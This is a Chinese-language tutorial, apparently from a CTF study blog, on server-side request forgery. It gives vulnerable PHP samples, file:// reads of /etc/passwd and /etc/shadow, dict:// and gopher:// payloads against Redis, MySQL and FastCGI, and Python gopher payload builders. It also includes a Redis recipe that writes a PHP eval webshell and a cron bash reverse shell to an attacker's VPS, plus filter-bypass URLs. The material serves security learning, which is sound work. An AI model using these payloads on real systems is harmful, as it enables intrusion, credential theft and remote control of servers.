SSRF

SSRF(服务端请求伪造) 是一种由攻击者构造请求,诱导服务端发起请求,让目标服务器执行非本意的操作的安全漏洞。

SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

漏洞成因

  • 服务端提供了从其他服务器应用获取数据的功能(比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等)
  • 没有对目标地址、文件等做过滤与限制
  • 一般情况下,服务端请求的目标都是与该请求服务器处于同一内网的资源服务

漏洞危害

  • 内网探测:对内网服务器办公机器进行端口扫描、资产扫描、漏洞扫描
  • 窃取本地和内网敏感数据:如利用file协议
  • 攻击服务器本地或内网应用:利用发现的漏洞,可以进一步发起攻击利用
  • 绕过安全防御:比如防火墙、CDN

漏洞的产生

  • 通过url地址分享网页内容功能处
  • 在线翻译
  • url地址加载或下载图片处
  • 图片、文章收藏功能
  • 云服务器商(它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试)
  • 有远程图片加载的地方
  • 网站采集、网页抓取的地方(一些网站会针对你输入的url进行一些信息采集工作)
  • 头像处(远程加载头像)
  • 邮件系统
  • 编码处理、属性信息处理、文件处理(比如ffpmg,ImageMagick,docx,pdf,xml处理器等)
  • 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

漏洞挖掘

白盒测试

  • 寻找可能构成SSRF漏洞的危险函数

黑盒测试(未)

  • 观察burpsuit的网站请求消息报文中是否存在URL,并对URL构造payload进行测试
  • 无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性

产生漏洞的常见危险函数

file_get_contents()

file_get_contents是把文件或url指向的文件写入字符串,当url是内网的文件时,会先去把这个文件的内容读出来再写入,导致了文件读取

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";

}
echo $img;
?>

fsockopen($hostname,$port,$errno,$errstr,$timeout)

获取用户指定的url(文件或html),这个函数会使用socket跟服务器建立tcp连接或者Unix套接字连接,传输原始数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port),
$errno, $errstr, 30);
if (!$fp){
echo "$errstr (error number $errno) \n";
}
else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n"
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n"; fwrite($fp, $out);
$contents='';
while (!feof($fp)){
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

curl_exec()

对远程的URL发起请求访问,并将请求的结果返回至前端页面

1
2
3
4
5
6
7
8
9
10
11
12
//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透

function curl($url){
$ch = curl_init(); // 初始化curl连接句柄
curl_setopt($ch, CURLOPT_URL, $url); //设置连接的URL
curl_setopt($ch, CURLOPT_HEADER, 0); // 设置头文件的信息
curl_exec($ch); // 运行curl,请求网页
curl_close($ch); // 关闭curl连接句柄
}

$url = $_GET['url'];
curl($url);

SoapClient

简单对象访问协议(SOAP)是一种轻量、简单、基于 XML 的协议,它被设计在 WEB 上交换结构化的和固化的信息

PHP 的 SoapClient 就是可以基于 SOAP 协议可专门用来访问 WEB 服务的 PHP 客户端。

SoapClient 是一个 php 的内置类,当其进行反序列化时,如果触发了该类中的 __call 方法,那么 __call 便方法可以发送 HTTP 和 HTTPS 请求。该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式
  • 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP服务 的目标命名空间

利用协议

1
2
3
4
5
6
file:// -- 本地文件传输协议,主要用于访问本地计算机中的文件
dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628
sftp:// -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)
ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp:// -- 一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机
gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息

file://

1
2
3
4
5
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///etc/passwd Linux用户基本配置信息
http://example.com/ssrf.php?url=file:///c:/windows/win.ini windows系统基本配置信息
http://example.com/ssrf.php?url=file:///etc/shadow Linux用户密码等敏感信息(一般需要root用户才能查看 web服务的一般权限是apache)
http://example.com/ssrf.php?url=file:///var/www/html/flag.php

http(s)://

可通过服务器发送请求去探测内网存活的主机

1
2
3
4
ssrf.php?url=http://192.168.52.1
ssrf.php?url=http://192.168.52.6
ssrf.php?url=http://192.168.52.25
......

参数可以通过 burpsuit 的 Intruder 模块进行爆破

dict://

1
2
3
4
5
6
http://example.com/ssrf.php?url=dict://evil.com:1337/ 
dict://127.0.0.1:3360 # 探测 MySQL 服务
dict://127.0.0.1:22/info # 探测 SSH 服务
dict://127.0.0.1:6379/info # 探测 redis 服务
dict://127.0.0.1:6379/keys%20* # 还可以探测 redis 内容
dict://127.0.0.1:1433 # 探测 SQL server 服务

tftp://

1
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 

gopher://

Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种索引,方便用户从Internet的处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具。使用tcp 70端口。但在WWW出现后,Gopher基本过时很少再使用

所有的WEB服务中间件都支持gopher协议,gopher可以发送任何的TCP数据包

gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp、telnet、Memcache等等,支持发出GET、POST请求

GET请求

  • 构造 http 数据包
  • URL 编码,替换回车换行为 %0d%0a(如果用工具转,可能只会有%0a)
  • ‘?’ 号需要转为URL编码 %3f
  • 如果有多个参数,’&’ 也要进行编码
  • HTTP 包最后加 %0d%0a 代表消息结束
  • 发送 gopher 协议
1
curl gopher://192.168.0.119:2333/_abcd              // 加'_' 字符是因为首字符会被吞,所以需要添加r任意一个占位字符

一个GET型的HTTP包,如下:

1
2
GET /ssrf/base/get.php?name=Margin HTTP/1.1
Host: 192.168.0.109

URL编码并改为gopher协议后:

1
curl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A

POST请求

  • 有四个参数为必要参数:Content-Type,Content-Length,host,post
  • Content-Length和POST的参数长度必须一致
  • 如果有多个参数,’&’也要进行编码
  • 在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码
  • 回车换行需要使用 %0d%0a 来代替 %0a
1
2
3
4
5
6
POST /ssrf/test/post.php HTTP/1.1
host:192.168.1.120
Content-Type:application/x-www-form-urlencoded
Content-Length:12

name=Qianxun

URL编码并改为gopher协议后:

1
curl gopher://192.168.1.120:80/_POST%20/ssrf/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.120%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Qianxun%0d%0A

url解码的样子:

1
2
3
4
5
6
curl gopher://192.168.1.120:80/_POST /ssrf/test/post.php HTTP/1.1
Host:192.168.1.120
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=Qianxun

python脚本构造payload(post和get都适用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse

payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0BDuCoolR1Vg7or
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

hello world!
------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryz0BDuCoolR1Vg7or--
"""
tmp = urllib.parse.quote(payload) # 对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result) # 对新增的部分继续编码
print(result)

Gopherus

这个工具使用时需要注意一点,得到的payload要先进行url编码再发包,否则解析过程无法得到预期结果

Gopherus 打 mysql

MySql 数据库用户认证的过程:MySQL 分为服务端和客户端。MySQL 数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程

mysql 默认端口为 3306,最常用的是打无密码的 mysql

1
python gopherus.py --exploit mysql

Gopherus 打 FastCGI

CGI:是 Web Server 与 Web Application 之间数据交换的一种协议

FastCGI(Fast Common Gateway Interface):HTTP 协议是浏览器和服务器中间件进行数据交换的协议,类比 HTTP 协议来说,fastcgi 协议则是服务器中间件和某个语言后端(如 PHP-FPM )进行数据交换的协议

PHP-FPM:是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,算是 FastCGI 的一个具体实现。额外还提供了相对智能的任务管理功能

  • 多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache、Nginx 和 lightpd
  • FastCGI 也被许多脚本语言所支持,比较流行的脚本语言之一为 PHP
  • FastCGI 默认使用端口 9000 来处理请求,特别是在 PHP-FPM(FastCGI Process Manager)中常见

攻击 FastCGI 的主要原理就是,在设置环境变量实际请求中会出现一个 SCRIPT_FILENAME': '/var/www/html/index.php 这样的键值对,它的意思是 php-fpm 会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制 php-fpm 去执行某个已经存在的文件,不能够实现一些恶意代码的执行

好在 PHP 允许通过 PHP_ADMIN_VALUEPHP_VALUE 去动态修改 PHP 的设置。那么当设置 PHP 环境变量为:auto_prepend_file = php://input;allow_url_include = On 时,就会在执行 PHP 脚本之前包含环境变量 auto_prepend_file 所指向的文件内容 php://input 也就是接收 POST 的内容,这个我们可以在 FastCGI 协议的 body 控制为恶意代码,就在理论上实现了p hp-fpm 任意代码执行的攻击

  • 如果服务器在配置的时候将9000端口监听在公网上了,可以使用 fcgi_exp 工具直接进行攻击测试

  • 利用 Gopherus 生成 payload

    1
    2
    3
    python gopherus.py --exploit fastcgi
    /var/www/html/index.php //这里输入的是一个已知存在的php文件
    echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

Gopherus 打 Redis

Redis 产生漏洞的条件:

  • 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录 redis 服务

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有采用相关策略(比如添加防火墙规则避免其他非信任来源 ip 访问等),会导致 Redis 服务暴露在公网上。如果在没有设置密码认证(默认为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身提供的 config 命令,可以进行写文件操作,攻击者可以将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而使用对应私钥直接使用 ssh 服务登录目标服务器

SSRF 漏洞中,可以利用 Gopher 协议向目标主机写 WebShell 、写 SSH 公钥 、创建计划任务反弹 Shell 等。其思路都是一样的,就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或 /var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,就可以向指定目录里写入文件了

redis 使用 RESP 协议通信

绝对路径写 Webshell 的 redis 命令如下

1
2
3
4
5
flushall    # 清理 Redis 缓存,确保环境干净
set 1 '<?php eval($_POST["whoami"]);?>' # 设置键名为 1 的 PHPWebshell
config set dir /var/www/html # 将 Redis 的工作目录修改为 web 服务器根目录
config set dbfilename shell.php # 将 Redis 的数据库文件名修改为 shell.php,这意味着 Redis 将在保存数据库快照(RDB 文件)时生成一个名为 shell.php 的文件
save //保存配置文件,执行快照保存操作。这会将当前 Redis 数据库中的所有键值对保存到 dir 指定的目录下,并以 dbfilename 指定的文件名命名

创建计划任务反弹 Shell 的 redis 命令如下

1
2
3
4
5
6
7
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

# 47.xxx.xxx.72为攻击者vps的IP

然后使用脚本将其转化为 Gopher 协议的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

# 将生成的 payload 要进行 url 二次编码
  • Gopherus 生成 payload

参考

SSRF漏洞详解

gopher协议总结

SSRF漏洞

ctf中的ssrf

常见绕过方法

进制转换绕过内网 IP (过滤 127.0.0/localhost

@ 符绕过 IP

对于一个 url 的访问实际上是以 @ 符后为准的

如果目标代码限制访问的域名只能为 http://www.xxx.com

那么我们可以采用HTTP基本身份认证的方式绕过

即构造 http://www.xxx.com@10.10.10.10,则实际上访问的是 10.10.10.10 这个地址

302跳转绕过 IP

xip.io

网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名

当我们在网址后面加 xip.io,例如 http://127.0.0.1.xip.io/flag.php 会被解析成 http://127.0.0.1/flag.php

类似的网址还有 http://nip.io、http://sslip.io

短地址跳转

利用短地址生成网站,生成短连接,访问短链接会自动跳转到目标网址上,以此绕过 waf

利用 URL 的解析问题

readfileparse_url 函数的解析差异

测试代码如下,同时,在 11211 端口下运行一个 web 服务,存在一个 flag.txt 文件

1
2
3
4
5
6
7
8
9
// ssrf.php
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){ // 限制传过去的url只能是80端口
readfile($url);
} else {
die('Hacker!');
}`

由于代码限制我们传过去的 url 端口只能是 80,如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:

1
ssrf.php?url=127.0.0.1:11211:80/flag.txt

这是因为利用了两个函数解析端口的方式不同:readfile() 函数获取的端口是最后冒号前面的一部分(11211),而 parse_url() 函数获取的则是最后冒号后面的的端口(80),如下图所示:

此外, readfile()parse_url() 在解析 host 的时候也有差异,如下图所示:

利用这种差异,可以尝试绕过题目中 parse_url() 函数对指定 host 的限制

curlparse_url 函数的解析差异

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>

上述代码中,check_inner_ip 函数通过 url_parse() 函数检测是否为内网 IP,如果不是内网 IP ,则通过 curl() 请求 url 并返回结果

我们可以利用 curlparse_url 解析的差异不同来绕过这里的限制,让 parse_url() 处理外部网站网址,最后 curl() 请求内网网址

payload 如下:

1
ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php

参考

  1. CTF SSRF 漏洞从0到1 - FreeBuf